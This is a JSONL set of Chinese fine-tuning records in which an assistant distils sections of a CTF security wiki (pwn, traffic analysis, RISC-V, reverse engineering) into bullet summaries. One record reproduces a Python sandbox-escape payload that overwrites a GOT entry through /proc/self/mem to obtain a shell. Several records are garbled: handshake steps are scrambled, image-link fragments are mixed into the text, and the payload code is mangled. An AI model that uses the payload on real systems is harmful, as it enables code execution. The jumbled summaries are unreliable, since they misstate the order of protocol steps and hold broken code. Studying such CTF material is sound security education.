{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ebbc5039f50a4041373b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/environment.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/environment.md`\n标题：简介\n章节：简介\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简介”展开。\n- 需要注意的是，在初学阶段我们并不推荐任何基于 pwntools 进行过度二次包装的软件包，也不推荐你在利用脚本中使用 lambda 语句进行过度简化，我们更推荐你在学习到一定程度后再去根据个人使用习惯进行决定。\n- Python + pwntools：用于编写漏洞利用脚本。\n- 现有的 CTF Pwn 题主要以 Linux 下的用户态 Pwn 为主，因此我们通常需要在本地拥有一个 Linux 运行环境，这通常可以通过安装 Linux 虚拟机来完成，此外你也可以在物理机上安装 Linux 操作系统。\n- 绝大多数 Linux Pwn 题目的远程环境以 Ubuntu 为主，因此为了方便在本地调试题目，你通常需要搭建一个与题目版本相匹配的 Ubuntu 运行环境，不过 _这并不意味着你必须要使用 Ubuntu 作为你的主力操作系统_ 。\n- 你仍旧可以选择继续使用你喜欢的其他 Linux 发行版（如，Gentoo、openSUSE、Debian、Fedora、Arch、NixOS 等），并使用 Docker 来搭建相应的 Ubuntu 做题环境。\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- environment.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 644, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "misc", "heading": "简介", "heading_path": ["简介"], "original_id": "docs-b71b11f28d95ff36b47f", "original_line": 840, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "source_root": "docs", "source_sha256": "b7c106ba08e98d53c01f65a51ffe9d367fabc959eda5db3eb84c7d5a83cc9d8a", "split": "train", "split_group_key": "f1e6ed5d411524f26939c21d", "subcategory": "pwn/linux/user-mode", "terms": ["漏洞利用", "pwn", "linux", "user-mode", "environment.md"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ecb7b3b8f83d686773f2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/wifi.md` 中的章节「WPA-PSK」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/wifi.md`\n标题：WIFI\n章节：WIFI > WPA-PSK\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“WPA-PSK”展开。\n- 请求者回复消息2给验证器,还有一个MIC（message integrity code，消息验证码）作为PMK的验证 3. 它先要验证请求者在消息2中发来的MIC等信息，验证成功后，如果需要就生成GTK。\n- 4次握手开始于验证器(AP)，它产生一个随机的值(ANonce)发送给请求者 2. 请求者也产生了它自己的随机SNonce，然后用这两个Nonces以及PMK生成了PTK。\n- 文件: ./figure/wpa-psk.png] 其中四次握手过程 [图片: eapol;\n- 然后发送消息3 4. 请求者收到消息3，验证MIC，安装密钥，发送消息4，一个确认信息。\n- 文件: ./figure/eapol.png] 1.\n\n关键术语：\n- misc\n- traffic\n- protocols\n- wifi.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 356, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "WPA-PSK", "heading_path": ["WIFI", "WPA-PSK"], "original_id": "docs-30588a31c033f22d9095", "original_line": 613, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/wifi.md", "source_root": "docs", "source_sha256": "bb82ceab52a1b4708d952373e032584aaa175fac9dfb62f8c5ef14b0d8bd5b8c", "split": "train", "split_group_key": "a76ee28b7acdc2c4bf7c3c41", "subcategory": "misc/traffic/protocols", "terms": ["misc", "traffic", "protocols", "wifi.md"], "title": "WIFI"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/wifi.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ed30a48ea17024f1f243", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/data.md` 中的章节「分析协议」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/data.md`\n标题：数据提取\n章节：数据提取 > 自定义协议 > 例题分析 > 分析协议\n路径分类：misc / misc/traffic/data.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析协议”展开。\n- 此处需要注意乐高的单个参数字节数并不固定，即便手册上标明了数据类型是 DATA16 ，仍然可能使用一个字节长度的参数，需要参照手册中 Parameter encoding 一节及相关文章。\n- 如何查找资料可以参考 信息搜集技术 一节，此处不再赘述。\n- 总之由 ev3 这个关键词出发，我们最终知道这种通信方式传输的内容被称之为 Direct Command，所使用的是乐高自定义的一种简单应用层协议，Command 本身格式由乐高的手册 EV3 Firmware Developer Kit 定义。\n- 在 ev3 basic 中，所有回复流量都相同，通过手册可知内容代表 ok ，没有实际含义，而发送的每个数据包都包含了一条指令。\n- 由协议格式解析出指令的 Opcode 均为 0x84 ，代表 UI_DRAW 函数，且 CMD 是 0x05 ，代表 TEXT 。\n\n关键术语：\n- misc\n- traffic\n- data.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 955, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "分析协议", "heading_path": ["数据提取", "自定义协议", "例题分析", "分析协议"], "original_id": "docs-602dbc293a966bfa0a45", "original_line": 594, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/data.md", "source_root": "docs", "source_sha256": "1a96b9cf486f762a88e189b11b96da62d0a31eb956ca792e9e074841dbe37a25", "split": "train", "split_group_key": "8529754dce526c8be930e9c4", "subcategory": "misc/traffic/data.md", "terms": ["misc", "traffic", "data.md"], "title": "数据提取"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/data.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ee0cf90649484e9e36f9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/sandbox/python/python-sandbox-escape.md` 中的章节「write修改got表」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/sandbox/python/python-sandbox-escape.md`\n标题：Python 沙盒\n章节：Python 沙盒 > Python 沙箱逃逸的一些方法 > write修改got表\n路径分类：pwn / pwn/sandbox/python\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“write修改got表”展开。\n- 实际上是一个 /proc/self/mem 的内存操作方法 /proc/self/mem 是内存镜像，能够通过它来读写到进程的所有内存，包括可执行代码，如果我们能获取到Python一些函数的偏移，如 system ，我们便可以通过覆写 got 表达到 getshell的目的。\n- ``py (lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()40)(().__class__.__bases__[0].__subclasses__()40,().__class__.__bases__[0].__subclasses__()40) `` 第一个地址是 system 的偏移，第二个是fopen的偏移，我们可以通...\n\n关键术语：\n- pwn\n- sandbox\n- python\n- python-sandbox-escape.md\n- code:py\n\n代码/命令片段线索：\n- py: 1 行，首行 `(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__(...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 598, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "write修改got表", "heading_path": ["Python 沙盒", "Python 沙箱逃逸的一些方法", "write修改got表"], "original_id": "docs-6bcf49576533b9c68a3d", "original_line": 1389, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/sandbox/python/python-sandbox-escape.md", "source_root": "docs", "source_sha256": "570570f0a47eb77c249b26bca6c4b3c05b9a3156bea628aa4abacc505aa59dec", "split": "train", "split_group_key": "fdcf852977692f863b2e308c", "subcategory": "pwn/sandbox/python", "terms": ["pwn", "sandbox", "python", "python-sandbox-escape.md", "code:py"], "title": "Python 沙盒"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/sandbox/python/python-sandbox-escape.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ef00b8dbc71c21fea040", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/race-condition/introduction.md` 中的章节「静态检测」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/race-condition/introduction.md`\n标题：Race Condition\n章节：给管道传输数据 > 检测 > 静态检测\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 目前已知的静态检测工具有 - Flawfinder - 目标：C/C++源码 - 步骤 - 建立漏洞数据库 - 进行简单的文本模式匹配，没有任何的数据流或控制流分析 - ThreadSanitizer - 目标：C++和GO - 实现：LLVM\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- race-condition\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 208, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "静态检测", "heading_path": ["给管道传输数据", "检测", "静态检测"], "original_id": "docs-58d09fcebdd30f95a527", "original_line": 1225, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/introduction.md", "source_root": "docs", "source_sha256": "338b696bd1c811ec5c9a103ccde2a5b1d14a90b4555ffeaf1644b779b73f85fe", "split": "train", "split_group_key": "027bf0bac155ecbb4fafd720", "subcategory": "pwn/linux/user-mode", "terms": ["漏洞利用", "pwn", "linux", "user-mode", "race-condition"], "title": "Race Condition"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f1eb03001000ecd4e28c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/picture/png.md` 中的章节「其余辅助数据块」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/picture/png.md`\n标题：PNG\n章节：PNG > 文件格式 > 其余辅助数据块\n路径分类：misc / misc/picture/png.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“其余辅助数据块”展开。\n- - 背景颜色数据块 bKGD（background color） - 基色和白色度数据块 cHRM（primary chromaticities and white point），所谓白色度是指当 R＝G＝B＝最大值 时在显示器上产生的白色度 - 图像 γ 数据块 gAMA（image gamma） - 图像直方图数据块 hIST（image histogram） - 物理像素尺寸数据块 pHYs（physical pixel dimensions） - 样本有效位数据块 sBIT（significant b...\n\n关键术语：\n- misc\n- picture\n- png.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 413, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "其余辅助数据块", "heading_path": ["PNG", "文件格式", "其余辅助数据块"], "original_id": "docs-2708287f214b4d4a9ead", "original_line": 587, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/png.md", "source_root": "docs", "source_sha256": "43950f569096175f2c56da46c5d09dece4a19b71604f5ff4c9662280fa9187ec", "split": "train", "split_group_key": "bfc293ab5c9f5ee288b0f5a4", "subcategory": "misc/picture/png.md", "terms": ["misc", "picture", "png.md"], "title": "PNG"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/picture/png.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f239942230fb174d4f32", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/risc-v/readme.md` 中的章节「0x01 架构特点」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/risc-v/readme.md`\n标题：Risc-V\n章节：Risc-V > 0x01 架构特点\n路径分类：assembly / assembly/risc-v/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“0x01 架构特点”展开。\n- 例如，最基本的指令集包括 RV32I 和 RV64I，而可选的扩展则覆盖了乘除法（M）、原子操作（A）、浮点运算（F、D）、压缩指令（C）以及适用于高性能计算的向量指令集（V）等。\n- 该架构支持多种位宽，包括 32 位（RV32）、64 位（RV64）以及未来预留的 128 位（RV128）模式，从而满足从嵌入式系统到高性能服务器等多样化应用场景。\n- RISC-V 还明确区分了处理器的特权级别，定义了用户态（U-mode）、监督态（S-mode）和机器态（M-mode），为操作系统的运行和安全机制提供了良好的支撑。\n- RISC-V 是一种新兴的开放指令集架构（ISA），具有高度的灵活性和可扩展性。\n- 它以模块化设计为核心理念，允许开发者根据实际需求选择不同的扩展模块来构建处理器。\n\n关键术语：\n- assembly\n- risc-v\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 655, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "0x01 架构特点", "heading_path": ["Risc-V", "0x01 架构特点"], "original_id": "docs-8de570943314e4e04924", "original_line": 111, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "source_root": "docs", "source_sha256": "472e018416e1d59bdff251bd8eb5b2794368d2cc1cef6ca3623c30c6be927550", "split": "train", "split_group_key": "fe09ed521e648ec090cc972a", "subcategory": "assembly/risc-v/readme.md", "terms": ["assembly", "risc-v", "readme.md"], "title": "Risc-V"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f28da971be0ca2ae8445", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/readme.md` 中的章节「协议分析概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/readme.md`\n标题：协议分析概述\n章节：协议分析概述\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“协议分析概述”展开。\n- 例如，网络中一个微机用户和一个大型主机的操作员进行通信，由于这两个数据终端所用字符集不同，因此操作员所输入的命令彼此不认识。\n- 为了能进行通信，规定每个终端都要将各自字符集中的字符先变换为标准字符集的字符后，才进入网络传送，到达目的终端之后，再变换为该终端字符集的字符。\n- 当然，对于不相容终端，除了需变换字符集字符外还需转换其他特性，如显示格式、行长、行数、屏幕滚动方式等也需作相应的变换。\n- 相应的，我们在协议分析这一章节中，将会从以下几个方面来介绍这一部分的知识： - Wireshark 常用功能的介绍 - HTTP 协议分析 - HTTPS 协议分析 - FTP 协议分析 - DNS 协议分析 - WIFI 协议分析 - USB 协议分析\n- 网络协议为计算机网络中进行数据交换而建立的规则、标准或约定的集合。\n\n关键术语：\n- misc\n- traffic\n- protocols\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 369, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "协议分析概述", "heading_path": ["协议分析概述"], "original_id": "docs-32c586cf9e35274dfced", "original_line": 607, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/readme.md", "source_root": "docs", "source_sha256": "f07355c40a3ac64b7c8d1660f3f81eb352dfa7d680e796e201c7a6bec24d0fa0", "split": "train", "split_group_key": "43b255c0045bfe22d4ee1cde", "subcategory": "misc/traffic/protocols", "terms": ["misc", "traffic", "protocols", "readme.md"], "title": "协议分析概述"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f31313e849c940436bce", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/summary/get-address.md` 中的章节「获取地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/summary/get-address.md`\n标题：获取地址\n章节：获取地址\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“获取地址”展开。\n- 在漏洞利用的过程中，我们常常需要获取一些变量，函数的地址，以便于能够进行进一步的利用。\n- 在上面的几种方式中，我认为主要有两点核心思想 - 充分利用代码本身的性质，比如程序某些代码的位置就是固定的，如不开启 PIE 时，代码段的位置；\n- 充分利用相对偏移的性质，这是由于目前程序加载时往往加载的内存都是一段一段的，所以相对偏移往往是固定的。\n- 这里我将获取地址的方法分为如下几类 - 直接寻找地址，即我们可以通过反编译等手段直接看到对应符号的地址。\n- 泄漏地址，即需要我们通过控制程序的执行流来泄漏程序中的某些符号指针的内容，来获取对应的地址。\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- summary\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 458, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "获取地址", "heading_path": ["获取地址"], "original_id": "docs-87e24463c149fdd33c95", "original_line": 1384, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/summary/get-address.md", "source_root": "docs", "source_sha256": "c00547636725754022c5f9f69d1acb2acd7e38a34861e6a0a6a0facd20ac6b04", "split": "train", "split_group_key": "7838337991b99f091f7e4295", "subcategory": "pwn/linux/user-mode", "terms": ["漏洞利用", "pwn", "linux", "user-mode", "summary"], "title": "获取地址"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/summary/get-address.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f321943e989194adbf35", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/risc-v/readme.md` 中的章节「2. 保存寄存器内容」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/risc-v/readme.md`\n标题：Risc-V\n章节：Risc-V > 0x04 调用规约 > 2. 保存寄存器内容\n路径分类：assembly / assembly/risc-v/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2. 保存寄存器内容”展开。\n- 由 callee 保存： - s0–s11（x8–x9, x18–x27） → 用于长期保存的数据 - fs0–fs11（f8–f9, f18–f27） → 浮点保存寄存器 - ra（x1） → 返回地址（call伪指令修改ra后由被调用函数保存） 由 caller 保存： - t0–t6（x5–x7, x28–x31） - ft0–ft11（f0–f7, f28–f31）\n\n关键术语：\n- assembly\n- risc-v\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 207, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "2. 保存寄存器内容", "heading_path": ["Risc-V", "0x04 调用规约", "2. 保存寄存器内容"], "original_id": "docs-5eb0c636a51748ecf11f", "original_line": 122, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "source_root": "docs", "source_sha256": "472e018416e1d59bdff251bd8eb5b2794368d2cc1cef6ca3623c30c6be927550", "split": "train", "split_group_key": "5ffd1ec8182063547d83095d", "subcategory": "assembly/risc-v/readme.md", "terms": ["assembly", "risc-v", "readme.md"], "title": "Risc-V"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f5d1fc5ab0d375e5a34b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/mitigation/canary.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/mitigation/canary.md`\n标题：Canary\n章节：Canary > 介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- 我们知道，通常栈溢出的利用方式是通过溢出存在于栈上的局部变量，从而让多出来的数据覆盖 ebp、eip 等，从而达到劫持控制流的目的。\n- 栈溢出保护是一种缓冲区溢出攻击缓解手段，当函数存在缓冲区溢出攻击漏洞时，攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。\n- 攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉，导致栈保护检查失败而阻止 shellcode 的执行，避免漏洞利用成功。\n- 由于 stack overflow 而引发的攻击非常普遍也非常古老，相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里，直到现在也作为系统安全的第一道防线存在。\n- Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段，它的出现很大程度上增加了栈溢出攻击的难度，并且由于它几乎并不消耗系统资源，所以现在成了 Linux 下保护机制的标配。\n\n关键术语：\n- 边界/溢出\n- 栈\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- mitigation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 765, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "介绍", "heading_path": ["Canary", "介绍"], "original_id": "docs-a4c5222e7eeb6792af50", "original_line": 1214, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/mitigation/canary.md", "source_root": "docs", "source_sha256": "fd483489fe6434a429bc966cdf2ad1ac48dd3cd1339d785938a8eab0c1e2d43f", "split": "train", "split_group_key": "60b5a0806f81a4a90098c8ff", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "修复/缓解", "漏洞利用", "pwn", "linux", "user-mode", "mitigation"], "title": "Canary"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/mitigation/canary.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f6283ec2675da799a6ac", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/linux/detect-bp.md` 中的章节「objdump -M intel -d xxx | ./antibp.pl」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/linux/detect-bp.md`\n标题：Detecting Breakpoints\n章节：objdump -M intel -d xxx | ./antibp.pl\n路径分类：reverse / reverse/platform/linux\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“objdump -M intel -d xxx | ./antibp.pl”展开。\n- 80483be: 3d cc 00 00 00 cmp eax,0xcc `` 检测到后, 既可以将0xcc修改成0x00或0x90, 也可以做任何你想做的操作. 改变0xcc也同样可能带来问题, 就如上篇介绍一样, 程序如果有进行文件校验, 那么我们的改变是会被检测到的. 可能的情况下, 程序也不只是对函数入口点进行检测, 也会在一个循环里对整个函数进行检测. 因此你也可以用十六进制编辑器手动放置一个ICEBP(0xF1)字节到需要断下的位置(而非int 3). 因为ICEBP`也一样能让gdb断下来. >...\n\n关键术语：\n- reverse\n- platform\n- linux\n- detect-bp.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 394, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "objdump -M intel -d xxx | ./antibp.pl", "heading_path": ["objdump -M intel -d xxx | ./antibp.pl"], "original_id": "docs-7eb3bcd59cee68eca282", "original_line": 1490, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/detect-bp.md", "source_root": "docs", "source_sha256": "a76a03c79df4441d4eaa7ba9607c6286228b3106fc68a8131e1458378ce73523", "split": "train", "split_group_key": "75090a1c79fe3612b7f69177", "subcategory": "reverse/platform/linux", "terms": ["reverse", "platform", "linux", "detect-bp.md"], "title": "Detecting Breakpoints"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/detect-bp.md", "split": "train", "type": "ctf_lora_sft"}
